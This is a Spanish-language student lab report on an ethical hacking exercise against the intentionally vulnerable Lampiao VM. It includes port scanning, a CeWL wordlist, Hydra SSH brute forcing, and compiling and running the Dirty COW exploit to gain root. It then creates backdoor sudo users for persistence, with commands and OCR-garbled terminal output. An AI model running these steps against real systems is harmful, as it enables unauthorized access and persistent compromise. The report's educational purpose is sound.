INFORME TECNICO DE HACKING ETICO UTILIZANDO KALI LINUX Y

LAMPIAO

Informe Técnico de Hacking Etico utilizando Kali Linux y Lampiao

Universidad Tecnolédgica del Chocé “Diego Luis Cordoba”

Docente

ING Rafael Sandoval Morales

Asignatura

Seguridad y Auditoria en Redes

Estudiante

Yeiber A. Mena Robledo

Quibd6/Chocd

24/09/2025



INFORME TECNICO DE HACKING ETICO UTILIZANDO KALI LINUX Y

LAMPIAO
TABLA DE CONTENIDO
1. INSTRODUCCION .0
2. OBEJETIVOS . cieeeereereeeeeseeoeesesssesssssssssssssssssssssssssssssssssssssssssssssssssesssssssssssssssassssss 7
3. CAPITULO#1 DESARROLLO DEL LABORATORIQ .....coueeeeuueeeecereereeeeeseeeennen 8
3.1 ESCANEO DE PUERTOS ...t eee e e e e eee e e e eee e e e eeeaeeeeeaas 8
3.2 EVIDENCIADEL SERVICIO WEB .......ccoitttiiiieeiieeeiiieeeee e e eeeteeaeeeeeeeeesenesaninee e 9
3.3 ESCANEO DETALLADO DEL PUERTO 22 .....oooeiiiiiiiiiieeeeeeeeeeeeeeeeeee e 10
34 RECOLECCION DE INFORMACION Y EVIDENCIA DE ARCHIVOS .........cccvveu...... 11
3.5 ANALISIS DEL ARCHIVO GENERADO .......oovvtiiiieeeieeeeeeeeeeeeeeeeeeeeeaeeseseneneeanenes 12
3.6 CONTENIDO DEL ARCHIVO GENERADO .......ocuuuieiiiiiiiiiiiiieeeeeeeeeeeiiiieieeeeseeenenns 12
3.7 PREPARACION DE PRUEBAS CON HYDRA .......oooviiiieiiieeee e 13
3.8  PRUEBAS DE AUTENTICACION (HYDRA).......ccocoiiiiiiiiiiieiiie e 14
3.9 ACCESO AL SERVIDOR .....coovtiuiiieeieeeeiiieeeeeeeeeeetteeeeeeseeeeetssaneaesesseesanmnaaesees 15
3.10 EJECUCION DE HERRAMIENTAS PARA ESCALADA DE PRIVILEGIOS ............... 16

3.11 EXPLORACION DEL SISTEMA Y PREPARACION PARA LA ESCALADA DE

PRIVILEGIOS 17

3.12  VERIFICACION DEL ENTORNQO DE USUARIO.........ccccceevuiieiiiieenireeeeireeeeneeeenneens 18
3.13  ANALISIS DEL ARCHIVO /ETC/PASSWD ........ocooiuiiiiiiieiieeeiieeeereeeeseesenveesnneeens 19
3.14 TRANSFERENCIA DE HERRAMIENTAS PARA ESCALADA DE PRIVILEGIOS......... 20
3.15 ESCALADA DE PRIVILEGIOS Y OBTENCION DE ACCESO ROOT...................... 22

3.16 CREACION DE USUARIO CON PRIVILEGIOS ELEVADOS .......couvueeeeinann. 23



INFORME TECNICO DE HACKING ETICO UTILIZANDO KALI LINUX Y

LAMPIAO
3.17 VERIFICACION DE USUARIOS CON PRIVILEGIOS ELEVADOS ......coovvveeeeeeeeannn. 25
3.18 AJUSTE DE PERMISOS DE DIRECTORIO .......uoiiiiieieeeieeeeeeeeeeeeeeeeee e eeeenns 26
3.19 PRUEBADE ACCESO CON LAS NUEVAS CREDENCIALES ......ccoeeeeeitieiieeeeeeeeeneens 27
3.20 ACCESOY MODIFICACION DE LA BASE DE DATOS ......evvmeeeeen 28
3.21 VERIFICACION FINAL DE LA BASE DE DATOS ....coveeeeteeeeeeean 29
3.22 ASIGNACION DE ROLES DE ADMINISTRADOR EN LA BASE DE DATOS............. 30
3.23  VERIFICACION DE ACCESO CON EL NUEVO USUARIO..........euuuueeeennn. 31
B, CONCLUSION ...ovoveveveverenenenessssssssssssssssssssssssssssssssssssssssssssssssasasssssasssssasasssssssssasasas 33

5. REFERENCIAS ......etininntinstinnnenssnesssessssssssssssssssssssssssssssssssssssssassssssssassssns 34




INFORME TECNICO DE HACKING ETICO UTILIZANDO KALI LINUX Y

LAMPIAO
TABLA DE ILUSTRACIONES
ILUSTRACION 1-ESCANEO DE PUERTOS ......ociiiitiiieeeiiiie ettt eeetee et eeaae e eeeaaeeeeeeavaeeeeenaeeeeenns 8
ILUSTRACION 2-EVIDENCIA DEL SERVICIO WEB ......cuviiiiiiiiiieeeiiiieeeeeiieeeeeeeaeeeeeeaveeeeeeaeeeeeenaneeeenns 9
ILUSTRACION 3-ESCANEO DETALLADO DEL PUERTO 22.....cociiiiuiiiiiiiiie ettt 10
ILUSTRACION 4-RECOLECCION DE INFORMACION Y EVIDENCIA DE ARCHIVOS .....ccccovivveeeeeireeeeenns 11
ILUSTRACION 5-ANALISIS DEL ARCHIVO GENERADO ......cvvviiiiiuiieeeeiieeeeeeiieeeeeeireeeeeeiareeeeeesseeeeenns 12
ILUSTRACION 6-CONTENIDO DEL ARCHIVO GENERADO ......ccoeiuviiieiiirieeeeiaeeeeeeireeeeeeisreeeeeesseeeeanns 13
ILUSTRACION 7-PREPARACION DE PRUEBAS CON HYDRA .....ccoiuviiiiiiiieceeieee ettt 14
ILUSTRACION 8-PRUEBAS DE AUTENTICACION (HYDRA).....ccoitiiiiiiieiiieeeiee et e 15
ILUSTRACION 9-ACCESO AL SERVIDOR ......cveeeiuiieeiuieeaireeeiteeeaiseeessseessseeessseeesssessssesssssesssssesssssesans 16
ILUSTRACION 10-EJECUCION DE HERRAMIENTAS PARA ESCALADA DE PRIVILEGIOS...................... 17

.............................................................................................................................................. 18
ILUSTRACION 12-VERIFICACION DEL ENTORNO DE USUARIO ......occeiiurieeeeireeeeeeiireeeeeeinreeeeenneeeeenns 19
ILUSTRACION 13-ANALISIS DEL ARCHIVO /ETC/PASSWD .....oeiiviieeirieeeireeeeireeeereeeeireeesasesenaneesnsneeens 20
ILUSTRACION 14-TRANSFERENCIA DE HERRAMIENTAS PARA ESCALADA DE PRIVILEGIOS................ 21
ILUSTRACION 15-ESCALADA DE PRIVILEGIOS Y OBTENCION DE ACCESO ROOT .......cccvvvievinnennn, 23
ILUSTRACION 16-CREACION DE USUARIO CON PRIVILEGIOS ELEVADOS .......ccoeviviieeicireeeeeireeeen, 24
ILUSTRACION 17-CRAECION DE USUARIOZ ......uviieiiieeiieeeieeeeteeesteeesseeesreeesssesesssesesssesensseesnssessns 25
ILUSTRACION 18-VERIFICACION DE USUARIOS CON PRIVILEGIOS ELEVADOS ........ccooviuvieieiiiiennn, 26
ILUSTRACION 19-AJUSTE DE PERMISOS DE DIRECTORIO........cccuvvieeieureeeeeitaeeeeeeireeeeeeisreeeeessneeeeenns 26

ILUSTRACION 20-PRUEBA DE ACCESO CON LAS NUEVAS CREDENCIALES ...cevvveeeeeeeeeeeeeeeeeeeeeseeenenns 27



INFORME TECNICO DE HACKING ETICO UTILIZANDO KALI LINUX Y

LAMPIAO
ILUSTRACION 21-ACCESO Y MODIFICACION DE LA BASE DE DATOS ..uueieeeeee e eeeeee s 29
ILUSTRACION 22-VERIFICACION FINAL DE LA BASE DE DATOS ...ccuuuueeeee ettt eeeneees 30
ILUSTRACION 23-ASIGNACION DE ROLES DE ADMINISTRADOR EN LA BASE DE DATOS ................. 31

ILUSTRACION 24-VERIFICACION DE ACCESO CON EL NUEVO USUARIO ...ccevvuuneeeeeeeeeeeeeeeeeeeeenenns 32



INFORME TECNICO DE HACKING ETICO UTILIZANDO KALI LINUX Y

LAMPIAO

1. INSTRODUCCION

El presente informe técnico describe el desarrollo de un laboratorio practico de hacking
etico enfocado en la identificacion de vulnerabilidades y la evaluacion de la seguridad de un
sistema Linux. Para ello se emplearon las herramientas Kali Linux y un servidor objetivo
denominado Lampiao, configurado para simular un entorno real. El ejercicio permiti6 aplicar
técnicas de recoleccion de informacion, escaneo de puertos, pruebas de autenticacion y escalada
de privilegios, demostrando cémo un atacante podria comprometer un sistema si no se
implementan controles de seguridad adecuados. Este proceso busca fortalecer las competencias
en auditoria de redes, sensibilizar sobre los riesgos existentes y destacar la importancia de

implementar medidas preventivas que garanticen la integridad de los sistemas informaticos.
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2. OBEJETIVOS

Objetivo General

Realizar un ejercicio de hacking ético utilizando Kali Linux para identificar, explotar y
documentar vulnerabilidades en un servidor Lampiao, con el fin de reforzar el conocimiento en

seguridad y auditoria de redes.

Objetivos Especificos

o Emplear herramientas de reconocimiento como Nmap y CeWL para la recoleccion de

informacion del sistema objetivo.

e Analizar los servicios y puertos abiertos para detectar posibles puntos de acceso no

autorizados.

e Ejecutar pruebas de autenticacion controladas con Hydra para evaluar la fortaleza de las

credenciales.

o Implementar técnicas de escalada de privilegios para obtener permisos de administrador.

e Acceder y manipular bases de datos internas para evidenciar el impacto de una intrusion

exitosa.

e Documentar cada etapa del proceso.
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3. CAPITULO#1 DESARROLLO DEL LABORATORIO

3.1 Escaneo de Puertos

Se realiz6 un escaneo de puertos en el host 178.90.90.14 utilizando la herramienta Nmap
con el rango de puertos de la 1 a la 2000. El escaneo permiti6 identificar que el sistema objetivo

se encuentra activo.
Del total de puertos analizados, se evidenciaron tres servicios en estado abierto:
e Puerto 22 (TCP - SSH): Servicio de conexidén remota segura.
Puerto 80 (TCP — HTTP): Servicio web en ejecucion.

e Puerto 1898 (TCP — cymtec-port): Servicio no comun, posiblemente relacionado con

aplicaciones especificas o configuraciones del sistema.

=

- 1-2000 178.90.90.14
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 09:46 -05
Nmap scan report for 178.90.90.14.dynamic.telecom.kz (178.90.90.14)
Host is up (0.00011s latency).
Not shown: 1997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1898/tcp open cymtec-port
MAC Address: 08:00:27:84:D9:82 (PCS Systemtechnik/Oracle VirtualBox virtual N
IC)

Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds

— | o~

llustracion 1-Escaneo de Puertos
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3.2 Evidencia del Servicio Web

Al revisar el puerto 1898/TCP, se encontrd que este abre una pagina web titulada “Lampido,

heroi ou vildo do Sertdo?”.

La pagina muestra un sistema en el que los usuarios pueden iniciar sesion con un nombre de
usuario y una contrasefia, ademas de opciones para crear una nueva cuenta o recuperar la clave.
Esto indica que no se trata de un puerto sin uso, sino que esta vinculado a un sitio web que

funciona de manera activa e interactiva.

H P

o Lampido, heroi ou vilao

OffSec Kali Linux #& Kali i ™ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

Home

Home

User login

Lampido, heréi ou vildo do Sertao?
Username *

Submitted by tiago on Thu, 04/19/2018 - 18:25
Password =

» Create new account

* Request new password

Log in

@ o 51 [ R A (8 (3 CTRL DERECH

lHustracion 2-Evidencia del Servicio Web
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3.3 Escaneo Detallado del Puerto 22

Se realiz6 un analisis mas profundo sobre el puerto 22/TCP, el cual esta asociado al

servicio SSH. Este servicio normalmente se utiliza para la administracién remota de sistemas.

El escaneo permitio identificar que el servidor esta ejecutando Ubuntu Linux con una
version del servicio OpenSSH 6.6.1p1.

- 22 178.90.98.14
Starting Nmap 7.95 ( https://
Nmap scan report for

Host is up (@

PORT STATE SERVICE VERSION
22/ open ssh OpenSSH 6.6.1pl1 Ubuntu 2ubuntu?2.? (Ubuntu Linux; protoco

:c1:d6:5b:77:dc:23:df:cc (ED25519)
(PCS Systemtechnik/ e VirtualBox virtual N

IC)
Warning: 055can results may be unreliable because we could not find at least
1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X%|4.X
0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/fo:linux:linux_kernel:4
S details: Linux 3.2 4.14
Network Distance:
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 ©.97 ms 178.9@.90.14.dynamic.telecom.kz (178.90.90@.14)

llustracion 3-Escaneo Detallado del Puerto 22
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3.4 Recoleccion de Informacion y Evidencia de Archivos

Se utilizo la herramienta CeWL para analizar el sitio web alojado en el puerto 1898. Esta
utilidad permiti6 extraer palabras del contenido de la pagina y almacenarlas en un archivo
denominado Diclampiao.txt. Dicho archivo puede servir posteriormente como base para generar

listas de contrasefias o realizar pruebas relacionadas con autenticacion.

Posteriormente, se comprob¢ la existencia del archivo en el directorio del usuario mediante el
comando Is -la, donde se observa claramente que el archivo Diclampiao.txt fue creado con

€xito, junto con otros documentos y configuraciones propias del sistema.

root@Yeiber: /home/yeiber

Archivo Acciones Editar Vista Ayuda
Missing URL argument (try —help)

/home/yeiber
http://178.90.90.14:1898/ rite Diclampiao.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

/home/yeiber

total 356

drwx yeiber yeiber 4096

drwxr-xr-x root root 4096

-TW-T—T— yeiber yeiber 220 : .bash_logout
-TW-T—T— yeiber yeiber 5551 j : .bashrc
-TW-T—T— yeiber yeiber 3526 j : .bashrc.original
drwxrwxr-x yeiber yeiber 4096

drwxr-xr-x root root 4096

drwxr-xr-x yeiber yeiber 4096

-TW-TW-T— yeiber yeiber 13698

drwxr-xr-x yeiber yeiber 4096

-TW-T—1T1— root root 6335 - Diclampiao.txt
-TW-r—1r— yeiber yeiber 35 . .dmrc
drwxr-xr-x yeiber yeiber 4096

—TWXT-XT-X root root 5491 - escritorio
drwxr-xr-x yeiber yeiber 4096

-TW-T—T— yeiber yeiber 11759 ~ .face
Trwxrwxrwx yeiber yeiber 5

drwx yeiber yeiber 4096

Ilustracion 4-Recoleccion de Informacion y Evidencia de Archivos
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3.5 Analisis del Archivo Generado

Una vez creado el archivo Diclampiao.txt, se procedio a verificar su contenido utilizando
el comando we -1, que permite contar la cantidad de lineas. El resultado mostré que el archivo
contiene 844 palabras registradas, extraidas directamente del sitio web previamente
identificado.

/home/yeiber

1 Diclampiao.txt
844 Diclampiao.txt

/home/yeiber

[lustracion 5-Analisis del Archivo Generado

3.6 Contenido del Archivo Generado

Finalmente, se reviso el contenido del archivo Diclampiao.txt utilizando el comando cat,
lo que permitio visualizar directamente las palabras almacenadas. Entre ellas se encuentran
términos relacionados tanto con la tematica del portal web como con funciones del propio sitio,

tales como account, User, page, password, entre otros.

La presencia de estas palabras confirma que la recoleccion de informacion fue exitosa, ya

que el archivo contiene vocablos utiles derivados del analisis de la aplicacion web.
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/home/yeiber
Diclampiao.txt

Lampiao
que

main
field
com
section
account
wrapper
Home
new

para

por
content
foi

uma

User
page
footer
menu
bando
required
This
password
cangaceiros
era

lustracion 6-Contenido del Archivo Generado

3.7 Preparacion de Pruebas con Hydra

En esta etapa se utilizo la herramienta Hydra, la cual estd disefiada para realizar pruebas de
acceso sobre servicios que requieren autenticacion. En la imagen se observa la ejecucion inicial

del programa y el despliegue de sus diferentes opciones de uso.

La finalidad de esta accion no fue realizar un ataque directo, sino mostrar las capacidades de la
herramienta y dejar en evidencia que existen mecanismos que, en manos de un investigador,

pueden servir para evaluar la fortaleza de las contrasefas y la seguridad de los accesos.
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/home/yeiber

\ - Please do not us
e in mil ry or or izati f il al purposes (this
is non-binding,

Syntax: hydra [[[-1 LOGINFL FILE] [-p PASSHP FILE]] | [-C FILE]] [-e nsr] [
-0 FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [
-% MIN:M CHARSET] [-c TIME] [-ISOuvvd4e] [-m MODULE_OPT] [serwvic /server[
!PORT][/OPT]]

Options:
-1 LOGIN or -L FILE login with LOGIN name, or load several logins from FIL
E
PASS or -P FILE ry passwor A or a everal passwords from FILE
C FILE colon separ gin:p: r i of /-P options
FILE list of er attack er line, ":' to specify por
5 number of connects in parallel per target (
e module usage details
ns specific for a module, see -U output for information
more command line options (COMPLETE HELP)
DNS, IP or 192.16 4 (this OR the -M option)
e to crack (see below

llustracion 7-Preparacion de Pruebas con Hydra

3.8 Pruebas de Autenticacion (Hydra)

Se realiz6 una prueba controlada sobre el servicio SSH (puerto 22) empleando la
herramienta Hydra, indicando el usuario objetivo tiago y una lista de posibles contrasefias
recolectadas previamente (archivo Diclampiao.txt). La ejecucion intentd automaticamente las
credenciales del archivo contra el servidor, pero no se encontré ninguna contraseifia valida; el

proceso finalizé mostrando “0 valid password found”.
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/home/yeiber
tiago Diclampiao.txt ssh://178.90.90.14:22/
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is n
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-11 10:
18:15

[WARNING] Many SSH configurations limit the number of parallel tasks, it is r

ecommended to reduce the tasks: use -t &

[DATA] max 1 task per 1 server, overall 1 task, 1 login try (1l:1/p:1), ~1 try
per task

[DATA] attacking ssh://178.90.90.14:22/

1 of 1 target completed, @ valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-11 10:
18:23

/home/yeiber

llustracion 8-Pruebas de Autenticacion (Hydra)

3.9 Acceso al Servidor

Tras varios intentos de conexion al servicio SSH, se consiguid ingresar de manera exitosa
con el usuario tiago. Una vez validada la contrasefia correcta, el sistema permiti6 el acceso,

mostrando que se trataba de un servidor con Ubuntu 14.04.5 LTS.

En la terminal se observa también informacién del sistema, incluyendo la version
instalada y un mensaje sobre la disponibilidad de una actualizacién hacia Ubuntu 16.04.7 LTS.

Asi mismo, se evidencia la fecha y origen de la Glltima conexion registrada al servidor.
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/home/yeiber
tiagoal78.90.90.14
tiago@l78.90.90.14"s password:
Permission denied, please try again.
tiago@178.90.90.14"s password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

* Documentation: https://help.ubuntu.com/

System information disabled due to load higher than 1.0

New release '16.04.7 LTS' available.
Run 'do-release-upgrade’ to upgrade to it.

Last login: Fri Apr 20 14:40:55 2018 from 192.168.108.1
tiago@lampiao:~$ |

Ilustracion 9-Acceso al Servidor

3.10 Ejecucion de Herramientas para Escalada de Privilegios

Después de obtener acceso al servidor como usuario tiago, se procedid a clonar la
herramienta LinEnum desde GitHub. Esta utilidad se usa cominmente para recolectar
informacion del sistema, detectar configuraciones débiles y posibles vias para escalar

privilegios dentro de la maquina comprometida.
El comando ejecutado fue:
git clone https://github.com/rebootuser/LinEnum.git

La clonacién se completd exitosamente, descargando todos los archivos necesarios (234

objetos en total).
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[sudo] contrasena para yeiber:
/home/yeiber

- clone https://github.com/rebootuser/LinEnum.git
Clonando en 'LinEnum’ ...
remote: Enumerating objects: 234, done.
remote: Counting objects: 100% (96/96), done.
remote: Compressing objects: 100% (18/18), done.
remote: Total 234 (delta 81), reused 78 (delta 78), pack-reused 138 (from 1)
Recibiendo objetos: 100% (234/234), 113.83 KiB | 407.00 KiB/s, listo.
Resolviendo deltas: 100% (130/130), listo.

/home/yeiber

llustracion 10-Ejecucion de Herramientas para Escalada de Privilegios

3.11 Exploracion del Sistema y Preparacion para la Escalada de Privilegios

Después de clonar la herramienta LinEnum, se accedi6 al directorio que contiene sus archivos.
La ejecucion del comando Is confirm6 que la descarga se realizd de manera exitosa, ya que se
visualizan los archivos que componen la herramienta, incluyendo el script principal LinEnum.sh.
Esta accion es un paso clave en la fase de post-explotacion, donde el objetivo es recopilar
informacion detallada del sistema y buscar posibles vulnerabilidades que permitan elevar los

privilegios del usuario tiago a un nivel de administrador, o root.
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/home/yeiber

loteria.elf
escritorio shell.php

Diclampiao.txt

/home/yeiber
LinEnum

/home/yeiber/LinEnum

CHANGELOG.md CONTRIBUTORS.md LICENSE LinEnum.sh README.md

/home/yeiber/LinEnum

llustracion 11-Exploracion del Sistema y Preparacion para la Escalada de Privilegios

3.12 Verificacion del entorno de usuario

Al ingresar al servidor, el primer paso fue verificar los archivos y directorios del usuario
tiago. Se utilizaron los comandos Is y Is -la para listar el contenido del directorio. La salida de

estos comandos muestra que:

o Elusuario tiago tiene permisos de lectura, escritura y ejecucion sobre su propio

directorio.

e Se encontraron archivos y carpetas relacionados con el entorno del usuario, como su
historial de comandos (.bash_history), configuraciones de sesion (.bash_profile, .bashrc)

y caché.

e Se confirma que la herramienta LinEnum se clon6 exitosamente en la maquina, lo que se

evidencia en el directorio LinEnum/.
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tiago@lampiao:/home$ cd tiago
tiago@lampiao:~$ 1s
tiago@lampiao:~$ 1s -la

total 36
drwxr-xr-x
drwxr-xr-x

tiago tiago 4096

root root 4096

tiago tiago 4096

tiago tiago 25 p .bash_history
tiago tiago 220 .bash_logout
tiago tiago 3637 2 .bashrc

drwx tiago tiago 4096

-TW-T—T— tiago tiago 675 .profile
-rw——— 1 root root 577 2 .viminfo
tiago@lampiao:~$ [}

drwx

-TW
-TW-T—T—
-TW-T—T—

=N N W

llustracion 12-Verificacion del entorno de usuario

3.13 Analisis del archivo /etc/passwd

Para buscar posibles vulnerabilidades, se accedi6 al archivo /etc/passwd. Este archivo es clave en
los sistemas Linux, ya que contiene una lista de todos los usuarios del sistema, junto con

informacion importante como:

Nombre de usuario: Por ejemplo, tiago, root, mysql.

e UID (User ID) y GID (Group ID): Identificadores numéricos que el sistema usa para

reconocer a los usuarios y sus grupos.

¢ Directorio de inicio: La ubicacion donde el usuario se ubica al iniciar sesion.

e Shell de inicio de sesion: El intérprete de comandos que se ejecuta para ese usuario.

Al revisar el contenido de este archivo, se puede buscar si existen usuarios con permisos

especiales o configuraciones inusuales que puedan ser explotadas. En la captura, se observa una



INFORME TECNICO DE HACKING ETICO UTILIZANDO KALI LINUX Y

LAMPIAO

lista de usuarios del sistema, incluyendo el usuario tiago (con UID 1000) y el usuario root (con

UID 0). La presencia de usuarios de servicio como mysql o Ip también es comun.

Archivo Acciones Editar Vista Ayuda
GNU mano 2.2.6 File: passwd

:/home/tiago:/bin/bash
'run/sshd: fusr/sbin/nologin
root:x :root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin: /usr/sbin/nologin
bin: aDlﬂ fusr/sbin/nologin
Sy ' g ;u;rf:binfnalagin
fbln /bin/sync
nes:/usr/sbin/nologin
nan:/usr/sbin/nologin
L/1pd: fusr/shin/no
/mail:/usr/sbin/nol
IJDDDL;HEWJ.JUJIJJblnanlagin
*f";p-::-:ﬂ Juucp:/usr/sbin/nologin
:/usr/sbin/nologin
rar/wew : fusr/sbin/nologin
/backups:/usr/sbin/nologin
/list:/usr/sbin/nol

:n0b0d3 fnane istent:/usr/sbin/nologin
/ 'f1ibf1ibuuid'

mQqu

BE Get Help B WriteOut B Read Filej rev ._:“ Cut Text B Cur Pos
B Exit B Justify Qg Where Is | ex agelll UnCut Texjlll To Spell

llustracion 13-Andalisis del archivo /etc/passwd

3.14 Transferencia de herramientas para escalada de privilegios

Tras analizar el sistema operativo y el software que corre en el servidor, se procedi6 a buscar una

vulnerabilidad especifica que pudiera permitir una escalada de privilegios. En este caso, se
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encontrd un exploit conocido, que es un fragmento de cddigo disefiado para aprovechar un fallo

de seguridad.
Los pasos que se realizaron fueron los siguientes:

1. Descarga del exploit: Se utilizé el comando wget para descargar el exploit desde una

base de datos publica (Exploit-DB). El archivo descargado se llama 40847.cpp.

2. Transferencia del archivo: Una vez descargado en la maquina, se emple6 el comando
scp (Secure Copy Protocol) para transferir el archivo 40847.cpp al directorio del usuario

tiago en el servidor objetivo.

root@Yeiber: /lhome

Archivo Acciones Editar Vista Ayuda

/home/yeiber
https://vww.exploit-db.com/download/40847 40847 .cpp
—2025-09-15 11:19:01— https://vwww.exploit-db.com/download/40847
Resolviendo www.exploit-db.com (vwww.exploit-db.com) ... 192.124.249.13
Conectando con www.exploit-db.com (vwww.exploit-db.com)[192.124.249.13]:443 ...
conectado.
Peticion HTTP enviada, esperando respuesta... 200 OK
Longitud: no especificado [application/txt]
Grabando a: «40847.cpp»

40847 .cpp L= ] 10,28k -—-.-KB/s en 0,07s

2025-09-15 11:19:02 (139 KB/s) - «40847.cpp» guardado [10531]

/home/yeiber
40847 .cpp tiago@178.90.90.14: /home/tiago/
tiagom178.90.90.14"'s password:
40847 .cpp 100% 10KB 4.4MB/s 00:00

llustracion 14-Transferencia de herramientas para escalada de privilegios
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3.15 Escalada de Privilegios y Obtencion de Acceso Root

Una vez transferido el exploit al servidor, se procedi6 a compilar y ejecutar el codigo para
aprovechar la vulnerabilidad. En este caso, el exploit 40847.cpp esta relacionado con una
vulnerabilidad conocida como Dirty Cow (CVE-2016-5195), que permite a un usuario sin

privilegios escribir en archivos a los que normalmente no tiene acceso.

Los pasos que se realizaron fueron los siguientes:

1. Compilacion del exploit: Se utiliz6 el comando g++ para compilar el codigo del exploit,

generando un archivo ejecutable llamado dcow.

2. Ejecucion del exploit: Se ejecutd el programa dcow, el cual exploté la vulnerabilidad
para sobrescribir la contrasefia de un usuario del sistema, dindo una forma de obtener

privilegios de root.

3. Acceso con privilegios de administrador: Finalmente, se ejecuto el comando whoami, y
el resultado root confirma que se logré una escalada de privilegios exitosa. Esto
significa que el usuario tiago ahora tiene acceso total al sistema, con los mismos permisos

que el administrador.
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tiago@lampiaon:~% 1s

40847 .cpp linux-exploit-suggester.sh

ti [ piac:~% 1s -la &

-r x 1 tiago tiago 1 ep 15 13:19 40847.cpp

tiago@lampiao:~% g++ -Wall -pedantic -02 -std=c++11 -pthread -o dcow 40847.cp
p -lutil

tiago@lampiao:~% chmod +x dcow

tiago@lampiao:~$ ./dcow -s

Running ...

Password overridden to: dirtyCowFun

Received su prompt (Password: )

rooti@lampiac:~# echo @ > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /fetc/passwd

root@lampiao:~# rm /tmp/.ssh_bak

root@lampiao:~# whoami

root

root@lampiao:~# |

lustracion 15-Escalada de Privilegios y Obtencion de Acceso Root

3.16 Creacion de Usuario con Privilegios Elevados

Después de haber escalado privilegios a root (el usuario con control total del sistema), se
procedid a crear un nuevo usuario con los mismos permisos. Esto se hace a menudo para
asegurar la persistencia dentro de un sistema comprometido, ya que, aunque el exploit original

sea parchado, el nuevo usuario con privilegios de administrador permitird mantener el acceso.
Los pasos que se realizaron fueron los siguientes:

1. Creacion de un nuevo usuario: Se utilizd el comando adduser usuariol. Este comando

crea el usuario, su grupo y su directorio de inicio.

2. Asignacion de privilegios de administrador: Se utilizaron los comandos usermod -aG

sudo usuariol y echo "usuariol ALL=(ALL:ALL) ALL" >> /etc/sudoers. Estas dos
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acciones garantizan que el nuevo usuario, usuariol, tenga los mismos permisos que el
usuario root y que pueda ejecutar comandos de administrador sin necesidad de la

contrasena de root.

root@lampiao:~# adduser usuariol

Adding user “usuariol’

Adding new group "usuar (1001)

Adding new user “usuarii _ 1) with group “usuariol’

Creating home directory " /home/usuariol’

Copying files from ~/Jetc/skel’

Enter new UNIX password:

'pe new UNIX password:
y, passwords do not match

passwd: Authentication token manipulation error

passwd: password unchanged

Try again? [y/N] ¥

Enter new UNIX password:

Retype new UNIX password:

passwd: password updated successfully

Changing the user information for usuariol

Enter the new value, or press ENTER for the default
Full Name []:
Room Number [
Work Phone []
Home Phone []
Other []:

Is the information correct? [Y/n] vy

root@lampiao:~# usermod -aG sudo usuariol

root@lampiao:~# usermod -aG root usuariol

rootillampiao:~# echo “usuariol ALL=(ALL:ALL) ALL" »>» fetc/sudoers

root@lampiao:~# [}

1] 2

llustracion 16-Creacion de Usuario con Privilegios Elevados

Una vez creado el usuariol, repetimos la misma secuencia de comandos para crear el

usuario?2 y asignarle los mismos privilegios como administrador
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root@lampiao: ~# adduser usuario?
Adding user “usuarie2’
Adding new group "usuar J -
Adding new user "usuarieo2’ (1882) with group "usuarip2’
Creating home directory ~/home/usuario?’
Copying files from ~/etc/skel’
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for usuario2
Enter the new value, or press ENTER for the default
Full MName []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [¥/n] ¥y
root@lampiao: ~# usermod -aG sudo usuario?2
root@lampiao: ~# usermod -aG root usuario2
root@lampiac:~# echo "usuario? ALL=(ALL:ALL) ALL" > /fetc/sudoers
root@lampiao:~# |]

llustracion 17-Craecion de usuario?

3.17 Verificacion de Usuarios con Privilegios Elevados

Para validar que las acciones de persistencia se realizaron con éxito, se procedid a verificar la

creacion y los privilegios de los nuevos usuarios. Se utilizaron los siguientes comandos:

o cat /etc/passwd | grep usuario: Este comando buscé en el archivo de usuarios del
sistema a las cuentas usuariol y usuario2. La salida confirmo su existencia y que tienen
un shell de inicio de sesion activo (/bin/bash), lo que les permite acceder al sistema de

forma remota.

o grep sudo /etc/group: Este comando busco el grupo sudo, que es el que otorga permisos
de administrador. La salida mostr6 que tanto usuariol como usuario2 son miembros de

este grupo.
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Esta verificacion confirma que el control total sobre el servidor ha sido consolidado de manera
efectiva, ya que se crearon cuentas con permisos de administrador que pueden ser utilizadas para

mantener el acceso al sistema

rootglamplao: ~#
asswd | grep usuario
home/ 1:/bin/bash
:/home/ 2:/bin/bash

/etc/group
7:usuariol,usuario?
root@lampiao:~# |j

llustracion 18-Verificacion de Usuarios con Privilegios Elevados

3.18 Ajuste de Permisos de Directorio

Como parte del proceso de consolidacion, se ejecutaron los comandos chmod 755

/home/usuariol y chmod 755 /home/usuario2.

La finalidad de esta accion es asegurar que los directorios de los nuevos usuarios creados
(usuariol y usuario2) tengan permisos de acceso correctos. Especificamente, el nimero 755
significa que el duefio del directorio (en este caso, cada usuario) tiene control total (7 o rwx),
mientras que los miembros del mismo grupo y el resto de los usuarios solo pueden ver el

contenido y entrar (5 o r-X).

root@lampiao: ~#
root@lampiaoc:~# chmod 755 /home/usuariol

root@lampiao:~# chmod 755 /home/usuario?
root@lampiao:~# |

llustracion 19-Ajuste de Permisos de Directorio
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3.19 Prueba de acceso con las nuevas credenciales

Una vez que se crearon los nuevos usuarios con privilegios de administrador, se verifico si
también podian iniciar sesion en el sitio web alojado en el puerto 1898. El intento de acceso con

el usuario usuario2 no fue exitoso.

Este resultado, aunque parece un fallo, es un hallazgo importante. Demuestra que el sistema de
autenticacion del sitio web (el CMS) y la gestion de usuarios del servidor (Linux) no estan
vinculados. Los usuarios creados a nivel del sistema operativo no se replican automaticamente en
